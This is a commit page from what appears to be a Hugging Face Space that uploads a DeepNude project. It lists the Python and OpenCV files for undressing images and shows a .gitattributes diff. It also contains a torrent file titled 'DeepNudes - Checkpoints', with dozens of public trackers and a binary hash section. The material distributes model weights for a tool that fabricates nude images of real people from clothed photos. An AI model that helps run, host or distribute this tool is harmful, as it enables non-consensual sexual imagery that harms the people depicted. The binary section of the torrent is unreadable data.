Spaces:
Runtime error
Runtime error
Upload 37 files
Browse files- .gitattributes +3 -0
- __pycache__/gan.cpython-311.pyc +0 -0
- __pycache__/gan.cpython-37.pyc +0 -0
- __pycache__/nude.cpython-311.pyc +0 -0
- __pycache__/run.cpython-311.pyc +0 -0
- __pycache__/run.cpython-37.pyc +0 -0
- checkpoints/checkpoints.torrent +74 -0
- checkpoints/cm.lib +3 -0
- checkpoints/mm.lib +3 -0
- checkpoints/mn.lib +3 -0
- checkpoints/readme.md +12 -0
- gan.py +243 -0
- logs.txt +1 -0
- nude.py +55 -0
- opencv_transform/__pycache__/__init__.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/__init__.cpython-37.pyc +0 -0
- opencv_transform/__pycache__/annotation.cpython-311.pyc +0 -0
- opencv_transform/__pycache__/annotation.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/annotation.cpython-37.pyc +0 -0
- opencv_transform/__pycache__/dress_to_correct.cpython-311.pyc +0 -0
- opencv_transform/__pycache__/dress_to_correct.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/dress_to_correct.cpython-37.pyc +0 -0
- opencv_transform/__pycache__/mask_to_maskref.cpython-311.pyc +0 -0
- opencv_transform/__pycache__/mask_to_maskref.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/mask_to_maskref.cpython-37.pyc +0 -0
- opencv_transform/__pycache__/maskdet_to_maskfin.cpython-311.pyc +0 -0
- opencv_transform/__pycache__/maskdet_to_maskfin.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/maskdet_to_maskfin.cpython-37.pyc +0 -0
- opencv_transform/__pycache__/nude_to_watermark.cpython-311.pyc +0 -0
- opencv_transform/__pycache__/nude_to_watermark.cpython-36.pyc +0 -0
- opencv_transform/__pycache__/nude_to_watermark.cpython-37.pyc +0 -0
- opencv_transform/annotation.py +17 -0
- opencv_transform/dress_to_correct.py +68 -0
- opencv_transform/mask_to_maskref.py +48 -0
- opencv_transform/maskdet_to_maskfin.py +531 -0
- opencv_transform/nude_to_watermark.py +16 -0
- requirements.txt +10 -0
- run.py +143 -0
.gitattributes
CHANGED
@@ -33,3 +33,6 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
|
|
33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
36 |
+
checkpoints/cm.lib filter=lfs diff=lfs merge=lfs -text
|
37 |
+
checkpoints/mm.lib filter=lfs diff=lfs merge=lfs -text
|
38 |
+
checkpoints/mn.lib filter=lfs diff=lfs merge=lfs -text
|
__pycache__/gan.cpython-311.pyc
ADDED
Binary file (15.8 kB). View file
|
|
__pycache__/gan.cpython-37.pyc
ADDED
Binary file (8.21 kB). View file
|
|
__pycache__/nude.cpython-311.pyc
ADDED
Binary file (3.71 kB). View file
|
|
__pycache__/run.cpython-311.pyc
ADDED
Binary file (4.68 kB). View file
|
|
__pycache__/run.cpython-37.pyc
ADDED
Binary file (2.77 kB). View file
|
|
checkpoints/checkpoints.torrent
ADDED
@@ -0,0 +1,73 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
d8:announce44:udp://tracker.openbittorrent.com:80/announce13:announce-listll44:udp://tracker.openbittorrent.com:80/announceel42:udp://tracker.opentrackr.org:1337/announceel46:udp://public.popcorn-tracker.org:6969/announceel32:http://104.28.1.30:8080/announceel28:http://104.28.16.69/announceel35:http://107.150.14.110:6969/announceel36:http://109.121.134.121:1337/announceel34:http://114.55.113.60:6969/announceel35:http://125.227.35.196:6969/announceel34:http://128.199.70.66:5944/announceel33:http://157.7.202.64:8080/announceel35:http://158.69.146.212:7777/announceel35:http://173.254.204.71:1096/announceel30:http://178.175.143.27/announceel33:http://178.33.73.26:2710/announceel36:http://182.176.139.129:6969/announceel33:http://185.5.97.139:8089/announceel36:http://188.165.253.109:1337/announceel31:http://194.106.216.222/announceel35:http://195.123.209.37:1337/announceel34:http://210.244.71.25:6969/announceel34:http://210.244.71.26:6969/announceel36:http://213.159.215.198:6970/announceel34:http://213.163.67.56:1337/announceel32:http://37.19.5.139:6969/announceel32:http://37.19.5.155:6881/announceel33:http://46.4.109.148:6969/announceel32:http://5.79.249.77:6969/announceel32:http://5.79.83.193:2710/announceel35:http://51.254.244.161:6969/announceel32:http://59.36.96.77:6969/announceel33:http://74.82.52.209:6969/announceel34:http://80.246.243.18:6969/announceel28:http://81.200.2.231/announceel28:http://85.17.19.180/announceel35:http://87.248.186.252:8080/announceel30:http://87.253.152.137/announceel29:http://91.216.110.47/announceel33:http://91.217.91.21:3218/announceel34:http://91.218.230.81:6969/announceel26:http://93.92.64.5/announceel31:http://atrack.pow7.com/announceel33:http://bt.henbt.com:2710/announceel34:http://bt.pusacg.org:8080/announceel40:http://bt2.careland.com.cn:6969/announceel33:http://explodie.org:6969/announceel34:http://mgtracker.org:2710/announceel34:http://mgtracker.org:6969/announceel40:http://open.acgtracker.com:1096/announceel36:http://open.lolicon.eu:7777/announceel33:http://open.touki.ru/announce.phpel35:http://p4p.arenabg.ch:1337/announceel36:http://p4p.arenabg.com:1337/announceel27:http://pow7.com:80/announceel38:http://retracker.gorcomnet.ru/announceel35:http://retracker.krs-ix.ru/announceel38:http://retracker.krs-ix.ru:80/announceel31:http://secure.pow7.com/announceel27:http://t1.pow7.com/announceel27:http://t2.pow7.com/announceel33:http://thetracker.org:80/announceel36:http://torrent.gresille.org/announceel35:http://torrentsmd.com:8080/announceel43:http://tracker.aletorrenty.pl:2710/announceel40:http://tracker.baravik.org:6970/announceel38:http://tracker.bittor.pw:1337/announceel37:http://tracker.bittorrent.am/announceel41:http://tracker.calculate.ru:6969/announceel37:http://tracker.dler.org:6969/announceel41:http://tracker.dutchtracking.com/announceel44:http://tracker.dutchtracking.com:80/announceel40:http://tracker.dutchtracking.nl/announceel43:http://tracker.dutchtracking.nl:80/announceel46:http://tracker.edoardocolombo.eu:6969/announceel29:http://tracker.ex.ua/announceel32:http://tracker.ex.ua:80/announceel43:http://tracker.filetracker.pl:8089/announceel46:http://tracker.flashtorrents.org:6969/announceel40:http://tracker.grepler.com:6969/announceel49:http://tracker.internetwarriors.net:1337/announceel37:http://tracker.kicks-ass.net/announceel40:http://tracker.kicks-ass.net:80/announceel37:http://tracker.kuroy.me:5944/announceel37:http://tracker.mg64.net:6881/announceel43:http://tracker.opentrackr.org:1337/announceel38:http://tracker.skyts.net:6969/announceel32:http://tracker.tfile.me/announceel41:http://tracker.tiny-vps.com:6969/announceel49:http://tracker.tvunderground.org.ru:3218/announceel41:http://tracker.yoshi210.com:6969/announceel44:http://tracker1.wasabii.com.tw:6969/announceel39:http://tracker2.itzmx.com:6961/announceel44:http://tracker2.wasabii.com.tw:6969/announceel36:http://www.wareztorrent.com/announceel39:http://www.wareztorrent.com:80/announceel29:https://104.28.17.69/announceel37:https://www.wareztorrent.com/announceel34:udp://107.150.14.110:6969/announceel35:udp://109.121.134.121:1337/announceel33:udp://114.55.113.60:6969/announceel33:udp://128.199.70.66:5944/announceel34:udp://151.80.120.114:2710/announceel33:udp://168.235.67.63:6969/announceel32:udp://178.33.73.26:2710/announceel35:udp://182.176.139.129:6969/announceel32:udp://185.5.97.139:8089/announceel34:udp://185.86.149.205:1337/announceel35:udp://188.165.253.109:1337/announceel35:udp://191.101.229.236:1337/announceel33:udp://194.106.216.222:80/announceel34:udp://195.123.209.37:1337/announceel32:udp://195.123.209.40:80/announceel33:udp://208.67.16.113:8000/announceel33:udp://213.163.67.56:1337/announceel31:udp://37.19.5.155:2710/announceel32:udp://46.4.109.148:6969/announceel31:udp://5.79.249.77:6969/announceel31:udp://5.79.83.193:6969/announceel34:udp://51.254.244.161:6969/announceel32:udp://62.138.0.158:6969/announceel32:udp://62.212.85.66:2710/announceel32:udp://74.82.52.209:6969/announceel30:udp://85.17.19.180:80/announceel32:udp://89.234.156.205:80/announceel31:udp://9.rarbg.com:2710/announceel30:udp://9.rarbg.me:2780/announceel30:udp://9.rarbg.to:2730/announceel33:udp://91.218.230.81:6969/announceel32:udp://94.23.183.33:6969/announceel38:udp://bt.xxx-tracker.com:2710/announceel29:udp://eddie4.nl:6969/announceel32:udp://explodie.org:6969/announceel33:udp://mgtracker.org:2710/announceel33:udp://open.stealth.si:80/announceel35:udp://p4p.arenabg.com:1337/announceel39:udp://shadowshq.eddie4.nl:6969/announceel36:udp://shadowshq.yi.org:6969/announceel38:udp://torrent.gresille.org:80/announceel42:udp://tracker.aletorrenty.pl:2710/announceel37:udp://tracker.bittor.pw:1337/announceel43:udp://tracker.coppersurfer.tk:6969/announceel37:udp://tracker.eddie4.nl:6969/announceel31:udp://tracker.ex.ua:80/announceel42:udp://tracker.filetracker.pl:8089/announceel45:udp://tracker.flashtorrents.org:6969/announceel39:udp://tracker.grepler.com:6969/announceel35:udp://tracker.ilibr.org:80/announceel48:udp://tracker.internetwarriors.net:1337/announceel39:udp://tracker.kicks-ass.net:80/announceel36:udp://tracker.kuroy.me:5944/announceel49:udp://tracker.leechers-paradise.org:6969/announceel36:udp://tracker.mg64.net:2710/announceel36:udp://tracker.mg64.net:6969/announceel42:udp://tracker.opentrackr.org:1337/announceel44:udp://tracker.piratepublic.com:1337/announceel41:udp://tracker.sktorrent.net:6969/announceel37:udp://tracker.skyts.net:6969/announceel40:udp://tracker.tiny-vps.com:6969/announceel40:udp://tracker.yoshi210.com:6969/announceel44:udp://tracker2.indowebster.com:6969/announceel40:udp://tracker4.piratux.com:6969/announceel30:udp://zer0day.ch:1337/announceel30:udp://zer0day.to:1337/announceel46:udp://public.popcorn-tracker.org:6969/announceel32:http://104.28.1.30:8080/announceel28:http://104.28.16.69/announceel35:http://107.150.14.110:6969/announceel36:http://109.121.134.121:1337/announceel34:http://114.55.113.60:6969/announceel35:http://125.227.35.196:6969/announceel34:http://128.199.70.66:5944/announceel33:http://157.7.202.64:8080/announceel35:http://158.69.146.212:7777/announceel35:http://173.254.204.71:1096/announceel30:http://178.175.143.27/announceel33:http://178.33.73.26:2710/announceel36:http://182.176.139.129:6969/announceel33:http://185.5.97.139:8089/announceel36:http://188.165.253.109:1337/announceel31:http://194.106.216.222/announceel35:http://195.123.209.37:1337/announceel34:http://210.244.71.25:6969/announceel34:http://210.244.71.26:6969/announceel36:http://213.159.215.198:6970/announceel34:http://213.163.67.56:1337/announceel32:http://37.19.5.139:6969/announceel32:http://37.19.5.155:6881/announceel33:http://46.4.109.148:6969/announceel32:http://5.79.249.77:6969/announceel32:http://5.79.83.193:2710/announceel35:http://51.254.244.161:6969/announceel32:http://59.36.96.77:6969/announceel33:http://74.82.52.209:6969/announceel34:http://80.246.243.18:6969/announceel28:http://81.200.2.231/announceel28:http://85.17.19.180/announceel35:http://87.248.186.252:8080/announceel30:http://87.253.152.137/announceel29:http://91.216.110.47/announceel33:http://91.217.91.21:3218/announceel34:http://91.218.230.81:6969/announceel26:http://93.92.64.5/announceel31:http://atrack.pow7.com/announceel33:http://bt.henbt.com:2710/announceel34:http://bt.pusacg.org:8080/announceel40:http://bt2.careland.com.cn:6969/announceel33:http://explodie.org:6969/announceel34:http://mgtracker.org:2710/announceel34:http://mgtracker.org:6969/announceel40:http://open.acgtracker.com:1096/announceel36:http://open.lolicon.eu:7777/announceel33:http://open.touki.ru/announce.phpel35:http://p4p.arenabg.ch:1337/announceel36:http://p4p.arenabg.com:1337/announceel27:http://pow7.com:80/announceel38:http://retracker.gorcomnet.ru/announceel35:http://retracker.krs-ix.ru/announceel38:http://retracker.krs-ix.ru:80/announceel31:http://secure.pow7.com/announceel27:http://t1.pow7.com/announceel27:http://t2.pow7.com/announceel33:http://thetracker.org:80/announceel36:http://torrent.gresille.org/announceel35:http://torrentsmd.com:8080/announceel43:http://tracker.aletorrenty.pl:2710/announceel40:http://tracker.baravik.org:6970/announceel38:http://tracker.bittor.pw:1337/announceel37:http://tracker.bittorrent.am/announceel41:http://tracker.calculate.ru:6969/announceel37:http://tracker.dler.org:6969/announceel41:http://tracker.dutchtracking.com/announceel44:http://tracker.dutchtracking.com:80/announceel40:http://tracker.dutchtracking.nl/announceel43:http://tracker.dutchtracking.nl:80/announceel46:http://tracker.edoardocolombo.eu:6969/announceel29:http://tracker.ex.ua/announceel32:http://tracker.ex.ua:80/announceel43:http://tracker.filetracker.pl:8089/announceel46:http://tracker.flashtorrents.org:6969/announceel40:http://tracker.grepler.com:6969/announceel49:http://tracker.internetwarriors.net:1337/announceel37:http://tracker.kicks-ass.net/announceel40:http://tracker.kicks-ass.net:80/announceel37:http://tracker.kuroy.me:5944/announceel37:http://tracker.mg64.net:6881/announceel43:http://tracker.opentrackr.org:1337/announceel38:http://tracker.skyts.net:6969/announceel32:http://tracker.tfile.me/announceel41:http://tracker.tiny-vps.com:6969/announceel49:http://tracker.tvunderground.org.ru:3218/announceel41:http://tracker.yoshi210.com:6969/announceel44:http://tracker1.wasabii.com.tw:6969/announceel39:http://tracker2.itzmx.com:6961/announceel44:http://tracker2.wasabii.com.tw:6969/announceel36:http://www.wareztorrent.com/announceel39:http://www.wareztorrent.com:80/announceel29:https://104.28.17.69/announceel37:https://www.wareztorrent.com/announceel34:udp://107.150.14.110:6969/announceel35:udp://109.121.134.121:1337/announceel33:udp://114.55.113.60:6969/announceel33:udp://128.199.70.66:5944/announceel34:udp://151.80.120.114:2710/announceel33:udp://168.235.67.63:6969/announceel32:udp://178.33.73.26:2710/announceel35:udp://182.176.139.129:6969/announceel32:udp://185.5.97.139:8089/announceel34:udp://185.86.149.205:1337/announceel35:udp://188.165.253.109:1337/announceel35:udp://191.101.229.236:1337/announceel33:udp://194.106.216.222:80/announceel34:udp://195.123.209.37:1337/announceel32:udp://195.123.209.40:80/announceel33:udp://208.67.16.113:8000/announceel33:udp://213.163.67.56:1337/announceel31:udp://37.19.5.155:2710/announceel32:udp://46.4.109.148:6969/announceel31:udp://5.79.249.77:6969/announceel31:udp://5.79.83.193:6969/announceel34:udp://51.254.244.161:6969/announceel32:udp://62.138.0.158:6969/announceel32:udp://62.212.85.66:2710/announceel32:udp://74.82.52.209:6969/announceel30:udp://85.17.19.180:80/announceel32:udp://89.234.156.205:80/announceel31:udp://9.rarbg.com:2710/announceel30:udp://9.rarbg.me:2780/announceel30:udp://9.rarbg.to:2730/announceel33:udp://91.218.230.81:6969/announceel32:udp://94.23.183.33:6969/announceel38:udp://bt.xxx-tracker.com:2710/announceel29:udp://eddie4.nl:6969/announceel32:udp://explodie.org:6969/announceel33:udp://mgtracker.org:2710/announceel33:udp://open.stealth.si:80/announceel35:udp://p4p.arenabg.com:1337/announceel39:udp://shadowshq.eddie4.nl:6969/announceel36:udp://shadowshq.yi.org:6969/announceel38:udp://torrent.gresille.org:80/announceel42:udp://tracker.aletorrenty.pl:2710/announceel37:udp://tracker.bittor.pw:1337/announceel43:udp://tracker.coppersurfer.tk:6969/announceel37:udp://tracker.eddie4.nl:6969/announceel31:udp://tracker.ex.ua:80/announceel42:udp://tracker.filetracker.pl:8089/announceel45:udp://tracker.flashtorrents.org:6969/announceel39:udp://tracker.grepler.com:6969/announceel35:udp://tracker.ilibr.org:80/announceel48:udp://tracker.internetwarriors.net:1337/announceel39:udp://tracker.kicks-ass.net:80/announceel36:udp://tracker.kuroy.me:5944/announceel49:udp://tracker.leechers-paradise.org:6969/announceel36:udp://tracker.mg64.net:2710/announceel36:udp://tracker.mg64.net:6969/announceel42:udp://tracker.opentrackr.org:1337/announceel44:udp://tracker.piratepublic.com:1337/announceel41:udp://tracker.sktorrent.net:6969/announceel37:udp://tracker.skyts.net:6969/announceel40:udp://tracker.tiny-vps.com:6969/announceel40:udp://tracker.yoshi210.com:6969/announceel44:udp://tracker2.indowebster.com:6969/announceel40:udp://tracker4.piratux.com:6969/announceel30:udp://zer0day.ch:1337/announceel30:udp://zer0day.to:1337/announceee7:comment23:DeepNudes - Checkpoints10:created by14:uTorrent/3.5.513:creation datei1562877997e8:encoding5:UTF-84:infod6:lengthi2032578765e4:name15:checkpoints.zip12:piece lengthi2097152e6:pieces19400:-x�Rc� �I�:?
|
2 |
+
=�]�V�
|
3 |
+
k�5E"� �������;"DZ["�������6,���P��&�����OLR�^��k��5JN�Ų�JR�NR��I'K��3�� '��r��N#Pt"�R�����pq�v�B戞��X�+R�%�����G��\(�����{�����9�N�f;�� �iK� n�{:��B��=�r�sE�o�����{ ���q*j�M���̯\8,l?����c|�,-p�"M��aR��#��7���G�g+c_M�^aۜ�?��c��#i3������*��(`����|�݉�����P���Ã��&�)��"�$�Iw��\�V����}51`BgF�t���K�Aߋ����v:�U��sEm�3P��8O|���Z�=.~�N
|
4 |
+
����|��F�j�i�����8�g�ANEv}���_�V�LԱ�����~�/G�L
|
5 |
+
��y�L'^��E��=��/�"H.�
|
6 |
+
x���
|
7 |
+
�~�.j�G�ٜ�o}�v������Р�������DY��8���Ěhi~��i2ۓ��p����^� �=�[N:eDL�VS�җ��F�
|
8 |
+
5�h���o�?� ��4��z(ƫ�t��PP��7�5\Pk5���/{[��hP<�S!�����S�!x�oH��h��~9 ��E�-�$ �w�|l���/�F�l������A�k�=nʏ!�b�"�2���5�x����z�0/ϲ{��1U��~y(ekǭ�:��������]��i�:����)G�PQ�VἍ!��`��)qR�s��R� R �ePE�\�� �{S`õgu�?�p ^Dd�'��{�����(�����%��Xu���c)*Jb�"W�e�a8s).�N��yU��*�vǰ6jdb\��ֽK�ml����Xs/�IY�Ƶ`����evƐ��R��*���=k����8[M@n�t���i��f
|
9 |
+
%��Wپl���v(� 5Rd���]��ꄗ�.��n�8�F�S�����>�z�ɱ�#�'5�K[�D��������d��{d�(Gy�7]S�
|
10 |
+
'�3wZ��
|
11 |
+
�&I�����ӗ�8e�[�]
|
12 |
+
˴c%O��g�$��k�]"�M�jvVq��5�S�itEUf7S�b��#��X>��-!Ôj���p�c�y-�3�q^4��7Η�c�Q��(
|
13 |
+
�J0e�Ԑ�7-�J)ϋ2m��˗}I鵰0�+���i��
|
14 |
+
&�W�:0%��s��FL�_�m�]N�����]K�$R'�W�G������D���ߌ\ J"4q�9�����|Nr-�]��������Ӫ�ɸ{2�
|
15 |
+
�3�{B�^d�~�6�PЁ�1���� J��a8�"I�U�cC]�F��di>������AB�V%Ʈ�f.+�0�z�yA3'�fǰ�����F�O��n^����~.����؏P9=B��:g�r�_}V�IՀG�M�gGI��r�Ƈ4igs��̓�(���O��Y{c��l�R�K���/�(�Юp����� Kz�G��q`�/�XqB��+�����d�C{]Y�k��B���A�+�19RC_����ȇב]_^K��>^#J��4�'��=����G�Ɏ'��ŏ+j�J�щstF��6a\�p���}��;#_��z����E
|
16 |
+
�6���Q�����a;�}�>�nV�I�ŔFD�g�Km����g!!��9���Zy;@匓l����?6,��T������Sa�W�*�3q
|
17 |
+
|
18 |
+
����0Y��6&����ϵC����'���y߇vALq$�p��XW�ys�D�T�3��M��L�ե��^���V�M��^qd }v|e�|��1;���t��d�] ��yxO�)�����<�-\�ѮQd��� Wč.,!�b]Y�/��~j����邿�%�S^�w7��P���]RS��,��=�;c���t�)�,��w
|
19 |
+
H6��]n����֬���mS� *�KP����gϬq�Ο��=W��\O�k
|
20 |
+
%��w���%�ޘ�+"�]N��cI������=�p@=$���l��T��Ѯ�n��>Ӌ�|�(�S�<#N��$9:�{M����3$��O?�t�B���t
|
21 |
+
5M�Y�W��4�@
|
22 |
+
�"Wˁ�5nX�I���D�H�`�\����P���?=���Rz��c����%9�A�"@8���S��"��a/Cma���W,��qQ8�a��A�#����,�%L���Gܻ4�0ڷ�9������a{�:���@4�#���U�V��mS���~
|
23 |
+
��ҬҮ�A9���S'�n+���w��{��[i���#N^�.� �L��#��imk�'��}�m���0l���1ݿ��}˼�L+qi��r;�C�u��J�S������BnS�C���ϋ���£5�O����J���G�s�x�F����C���2W��`��1�8�*s ե�%g�
|
24 |
+
Pͳ���Ҧ��8R˙^�-�U/A�Q��}�lT���.X�Z39�w�H�rp��|��
|
25 |
+
���>Zem��P`��y�F����W�џ�a��Xw�jzۓ���P�|�NL�#L����E�Q��-�&��Q�Hh��*Tl����0m+��9��P��v??���� �^���'��9�V`��RL��c`8"~t��hzqBQ�\���ݸ�~���5X�o˱���L�;�����O9�p��8��-�CmC�Ǯ��uy�K8`"�e)(m�t��怜�^N�JG'����r�J^YY ^B�M9�q��bY~ms�-yu���P��X�(�!� sl�1b�(3��ȴ[դ���O�½z%�ת���'I\v�.x:�*
|
26 |
+
���]H"b����K*����A�ʍ�F,�f�~��x�]q�D�wh|08hST�ց{�f ��+
|
27 |
+
X�����C��|���'� �5���F�N�yw݉'Q$?�Ǎ�n?�FQ/KZ��x��������[���OSc �9J�g.D����hq��]�� *���
|
28 |
+
��Y�fui��$A�6jS��ol{�@�
|
29 |
+
O�������C�m�@
|
30 |
+
�X����c��G��]d��$]����{�|\65�xٰH1�Y)�XCmŲ`z��*(���C���59��.¾�{���\�q���ץ��y�����g�l�����K1�`���rħ94�L�y�9�� ����Q���
|
31 |
+
[~e�g�cy����s�����ic���ś/�q��̣�Ť&�|h�h0�(M�6y5�3(�iM\�HWA��5��ƹA�L��G\�����F@�
|
32 |
+
�5Y�ө�b������#������[e���x��XD�^����� Z���,�c�,��ױ�,vr|̯�=Iz����D$E+2a�y#���:�,�q��4�� �S�T[��� ^�%Ί};�ܲC���q>L���7SҸ.����&�ߟ]T9/x���SE�\=�K�w?��+
|
33 |
+
���F��d�n$�[V�A�N�D"f�%�~��v\�q�
|
34 |
+
v"�p25q�`XI��w�Te������B�R$�m2DפY�]��3pF��ƀ76~�\'�ٝYJ���dCG5�����{b��T��{?֒g2�u,�q�c�[���b�Ih��n[�)� �S�{����͌"vɳb~l��U��k� �Z������և�8ЃnbR�%l$��_�ZR�=��%���"�����ї9`���2�xWKaX���] ��&�+��$<�q�XJrЧ�=6�]�}OQ�i�~J�x�P��s�X�_A��Ot-�hl�8�^n�Pَr��)�F�Y���.=�-(���ЀƜMjv�Q�i��y�N�$=碁��k^��J�oW�h��O������z��T�`�)���D<��[���E���}� ,�0Ϭo�9_��!A���;�7_�okOd���\K�c#[�|�[�����()?(�:�X�Nq<���m��F��8Jl�!�n�eC�P�b���$Wx�g�T�x�.�g�e�jL��W��OM
|
35 |
+
a�'JGu��`re��%!�x�0��E�`����s1�5�
|
36 |
+
b�9zl����ul�w<S�Dmq
|
37 |
+
P���Xw��LAr*��f���u�/,���v"D��a@�\�ȋ�'�C4�@���[�3V�n��|���
|
38 |
+
(/Of��Q{TdO-���� ��\��㩀��ҙ���MQw�M��`���RR
|
39 |
+
�Ma�a��)�_zO�m�X?�={Zub�#oyD�4t���s>D_Ű�D��ǚ>{k٘gŲ9 ��_�S�
|
40 |
+
�aH ���l��d�=!��Nڐ�B?��+>��m��5���1�AL����������J?M3�b��\�\¤T?I�4;�
|
41 |
+
��K;П�W��s���]�v��۽0h _�"Z��2���62L7'��9�c�5=�k�UNi��%����y������9ʧE�v���f�������+'�DR�xp��pKR7
|
42 |
+
(�C�UR+�3n[����Dg�W��W.8�0���ޗ��M{7��u�%@�}��<�<���ۡδ0��b�f�n�(X�����0�?��^6wѯ�G�Gv,Y��������*�������*+�����|�9��M��f5ϲ���c��B��'�G�����;���Z�h�^pL;���)��X�������*��b�U���VN������>�R�R������,F».JP)��i��\� ���&G� \e��xK���v�hG�!�}'��� %��t��@�)hX�zyμ2�V;�5���W�B�7�\����D�:7f�뜞`lASaTj�yt���7����KI'B��\u+��uk��(�7�n���OeP�ASP�Q��u��+&���`Y���r����Iۘ�\ӏ:��aa�\|�Tm��mO��:�/�WCo�Z@¾i�t���wo�cc���#��y�����v� ��O|>����x�~p�������=� 'g\d:��� �O�?�,�l���'i���^��a{@���-Z���5�;�ԯ��: �Bc��J;a���������u�/�%{p�0JU��l�Σ�9��"���z�L H��d�����#�T���3�&��"�3 ���+���<�����䗒E"�X���L>���[/�n*�_�������>��>b��w���ݬ�SJ�]m���ˬn<���F�_��`�<\'wvJh�J�VoЖ3y����3y[v"�-��֎�cC^���2Z�5�Lz��I�8�_2���S��QƃB��w �ua���/����k��f�u��}�
|
43 |
+
��?W�_K>t���_����#��5��|�����qy̡7h�G���h=I䊋�>���j�V%�F���+�2�Q� �
|
44 |
+
4ch�
|
45 |
+
�fq�2!,�� �7.���j����]#��.~t�k
|
46 |
+
Q�N��O�]�!�WK�!D�4p�a�#�=8��@Vn���-�u���1�eeR�t�VSn]���ĭ�v]*>�r�@��DO�V�6 ��c�k($RP�Z�3Jj'ga���{
|
47 |
+
}��iC�_�S�m���J�*�U��6��tC�l߶~-����,ʮ�4{�ҕ(i'�NY���y!�O��Y�s�r2��������N��M�Vq'':Ln��<����^����v6D�1w!"�kJb�7���ņ�tyc�K�K�eV���y����.����u����La�j4�8��&�: {��*oC��:�H��>_G�sM��{���1��'�W�:��D�z��������]�������*5�S���ّJ~�p�4YnH��6y�4��"�Ӗ�����^-϶ h�u�A�ِ*3[�$^�]N
|
48 |
+
�bUd��9�)ͱ^�D�^)X���d�D�'Q�����"�*ٿi�P�4��Ϗ>��~=d3��T����m�(=ز��π6* H�S����,�]�K�uw1�\���V�@��Ǿ������@Y�ts����ƛx���ޥ��8�V�^�k!�U� ���
|
49 |
+
�Ӱg�1*lK��<�{]0�ZhƐ��_�*��.ل�ؙ��J�����*������|��Xs�1��2Nې_:A�����.7r�Z9�zc����� ��1��=�MK{�r�-��OW��1Y��@�>ĭ�G�||꾟\������(,r���k:J��c��=���X�'����i��pF����І�jWcIZn�3B��41�F�(4�m���SrD�S_��m�GM�-
|
50 |
+
g���WѨD��2H���&��$�g��<�_CU���s�+6�F�6�A�+��ۛ��M>��?ec�i��$�:t�<��i���5�� ��V�F��R���f�.Cc�[c�ܑ�����r���t�
|
51 |
+
"�@������"���D����Dy+2��Ks���s�EiA��s.���~Uy�-"O�f�$�z@��H/q@Xl��r�>h���C��
|
52 |
+
�|bX�8I*WP�8��-P�o^���q=�I��Q=��lYo}��Ɓ�Q���V3�TGW�&K��\��X���>
|
53 |
+
����^氄�B�4]s�nӏ��]`J��
|
54 |
+
��4hם��(�/�e�-������OU�aގe'��I���y_|�\�Q%ta�e̐V����
|
55 |
+
�=��D�nwBe=�&ro��q� pIGf(@'A(��5i���!�k�N֑�F�b� ��(z�R������P�]�tƆ������
|
56 |
+
2aIW�����\�i�KrS�,g{P�~��4�KD��$�!���v�X^yh�O��1����47�<�
|
57 |
+
e�1�Pm�F��apԦW�!ls#4������+@=Ɠ����>�^�帤I�D�8
|
58 |
+
�u%ڕba�>w{���/��5o�+�YY�����*���}�&��{C~�R�G��A�r�HvPW�x�%��_a�{�E�����PU�Ձ���|�����,��PU:��E�O�(o� w�cU��q�Û�85Q6X��'���ƂH���o��z��5Ɣ���+�'�k͒r�
|
59 |
+
)��c7��z�Z`����B�ņь@���]&���hu�+i�u����kR��@�I��Q��XC?S�w��p������S�<9TU� �㰣��d��^�9����y��/hsM�@�2Eyk`�֣�������o���=�aۋa��3�ǧ!؆�.$���>���%���=[�E������Mo��q�K`>�\9��9�O�ыh�|��D�1��Մ�ܱ��/��|]�oU1�dZ^g�����q�t�4Uß��8���%�aT�r�qH3�"��t���f^����Œ�`6�����kd�u\DGiW�@ęY!}]D��� Q���"p��n�eu��{�G/�Y+{��$��
|
60 |
+
$�$���M����e�ϟ���>#���Ub"�T�E��"��:J��� ����̲�6�qFB�8z��\��^v��������9�� D�)U��ќV�!��f=�.4"Q��|�8ozyD7�S�M̪ؖV1a���Q^:Qn�}~R�8����L��-jc�������X��|;��S��E`:��wY��ta���5�{hA�L*�4OȽ�Lc:�l@ο|����B�U�K�kah�[��ߥ��k���R��kk�'MBq]��Nk-�_Hщ��@]�x$t��a�i>���u�_����
|
61 |
+
vI6v*��5įC�M�w7������ O[^�,�dVxz�Z.X���}����z-�% +-_�ȉ^M�k���a���Z7S��
|
62 |
+
�Q�����*�#�T�va�� �X
|
63 |
+
�;-��
|
64 |
+
� �Ŋc��`s",X� iV�O;X_4C���C�U���Ɛ.�����0�.��u?5�AUH����ㅇ�
|
65 |
+
�^ܽ� �D.��f[��Myъ��qӄ��fڍ����-�W���~`�+A:�?��j��}��ͽ���S�x���n�W3�^�w�RQ�$W��#D�e��Q������T~9��u����'N���q�xC��q{pR�����U \�N��eѕ�E#`==���� `a��1�O7@B��|���p1�#�iݏ��@���R���*��{i:j�)K�����k�G��Gs�b%��B��lv7u
|
66 |
+
Ǖ���3�T�vn�Dž����������R�/�,~�.����l�^B�F
|
67 |
+
_�Ih����NĂ�ɢ�1��$Y�[�[�z몀�JPݻ%U��� �
|
68 |
+
۾��p����8����ힸ�N�UK)!SWiO��tOfL�_-���?A���ЬS9"�r7U�@�p^�r���'���mX���+�O� m��
|
69 |
+
�%]� x�O7{Th��Y����������X~f����Z�|X�� я�"�q� ��S"��~!�_���`!�k�TQ���$@M�w�eVs�>�ǜGe�c�V
|
70 |
+
